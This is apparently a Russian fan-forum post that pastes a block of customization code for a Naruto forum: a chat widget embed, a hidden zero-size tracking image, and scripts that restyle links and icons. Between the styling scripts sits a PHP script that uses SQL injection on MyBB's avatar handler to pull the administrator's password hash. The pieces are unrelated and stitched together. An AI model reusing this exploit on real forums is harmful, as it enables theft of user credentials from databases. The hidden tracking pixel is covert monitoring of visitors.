Хината Хьюга
Привет Котик

Sasuke-kun
[20.05.2009 22:31:01] CreAtive* -*sWc*-: <img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.11NXC/bT*xJmx*PTEyNDI1NzAwNTA*ODQmcHQ9MTI*MjU3MDA2NjU*NiZwPSZkPSZnPTImdD*mbz*yMGE*NTdjNWMzZDA*NTFjOTU1OTIwMWIzNjg2NzYyMiZvZj*w.gif" /><embed src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" bgcolor="#000000" width="540" height="405" name="chat" FlashVars="id=59711198" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" /><br><small><a target="_BLANK" href="http://xat.com/web_gear/?cb">Get your own Chat Box!</a> <a target="_BLANK" href="http://xat.com/web_gear/chat/go_large.php?id=59711198">Go Large!</a></small><br>

<style type="text/css">
#pun {
  margin: 0px auto auto auto;
  width : 91%;
}
</style>

<script type="text/javascript">
nameforum="Наруто"
var arr=document.getElementsByTagName("td")
i=0
while(arr[i] ){
if(arr[i].className=="title-logo-tdl"){
name=arr[i].innerHTML
name=name.substring(0)
arr[i].innerHTML="<a href='/' style=\"cursor: pointer;\" title='"+nameforum+"'>"+name+"</a>"
}
i++
}
</script>

<script type="text/javascript">
var arr=document.getElementsByTagName("div")
i=0
str=document.URL
while(arr[i] ){
if(arr[i].id=="pun-main" && GroupID == "3") {
name=arr[i].innerHTML
name=name.substring(0)
arr[i].innerHTML="<div class=category><h2>Информационное табло</h2><div class=container><table border=0><tr><td><img src=http://s54.radikal.ru/i145/0808/84/e1fbc11ac605.png></td><td width=80%>Приветствуем тебя на форуме, Гость.<br />Для участия в конференциях просьба <a href='login.php'>войти</a> или <a href='register.php'>зарегистрироваться</a>.</td></tr></table></div></div><Br />"+name
}
i++
}
</script>

<style type="text/css">
#button-spoiler {background-image:url('http://forumupload.ru/uploads/0000/12/13/488-1.gif'); padding:0; line-height:0; background-position:center; background-repeat:no-repeat}
</style>
<script type="text/javascript">
var trr=document.getElementsByTagName("div")
var fi=0
for (fi=0; fi<=(trr.length-1);fi++)
{if (trr[fi].className=="post-links")
{var drr=trr[fi].getElementsByTagName("a")
drr[0].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10483-1.gif'/>"
drr[1].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10482-5.gif' />"
var er=2
for (er=2; er<=(drr.length-1); er++)
{if (drr[er].innerHTML.indexOf("E-mail")!=-1)
{drr[er].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10482-3.gif' />"}
else if (drr[er].innerHTML.indexOf("Вебсайт")!=-1)
{drr[er].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10483-3.gif'  />"}
else if (drr[er].innerHTML.indexOf("Цитировать")!=-1)
{drr[er].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10483-2.gif'/>"}
else if (drr[er].innerHTML.indexOf("Редактировать")!=-1)
{drr[er].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10482-2.gif' />"}
else if (drr[er].innerHTML.indexOf("Удалить")!=-1)
{drr[er].innerHTML="<img src='http://forumupload.ru/uploads/0002/25/06/10482-1.gif' />"}
}}}
</script>

<style type="text/css">#pun-main table Div.icon {width: 66px; height: 66px;}
Div.icon {
background-image : url("http://s45.radikal.ru/i109/0902/a8/c37a979c7854.gif");
background-repeat: no-repeat;
}
TR.inew Div.icon {
background-image : url("http://s59.radikal.ru/i164/0902/c8/6368b43c1613.gif");
background-repeat: no-repeat;
}
TR.isticky Div.icon {
background-image : url("http://s51.radikal.ru/i134/0903/a7/c771311d118b.gif");
background-repeat: no-repeat;
}
TR.iclosed Div.icon {
background-image : url("http://s46.radikal.ru/i114/0903/20/2273e9c0597c.gif");
background-repeat: no-repeat;
}
#pun-stats ul.container {
        background: transparent url("статистика") no-repeat 14px 14px;
        padding-left: 1px;
}
</style>

</script>
<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
        $query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

        $query = implode('&', $query);

        $header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
        $header .= "Host: $host\r\n";
        $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

        $fp = fsockopen($host, 80, $errno, $errstr, 30);
        fwrite($fp, $header . $query);

        $allah = '';
        while (!feof($fp)) {
                $tmp = fgets($fp, 1024);
                $allah .= $tmp;
        }
        fclose($fp);

        preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
        if (empty($matches[1]) && empty($dbprefix)) {
                preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
                $dbprefix = $matches[1];
                if (empty($dbprefix)) {
                        return 'Unable to obtain password';
                }
                $password = get_pass($host, $path, $dbprefix);
        }
        else {
                $password = $matches[1];
        }

        return $password;
}

?>

<script type="text/javascript">
var link="http://narutomercenary.0pk.ru"
function changeLink()
{var arr=document.links
for (j in arr)
{
if (arr[j].href==""+link+"/online.php")
{arr[j].innerHTML="В нашем мире"}
}}
changeLink()
</script>

вот! только чат убери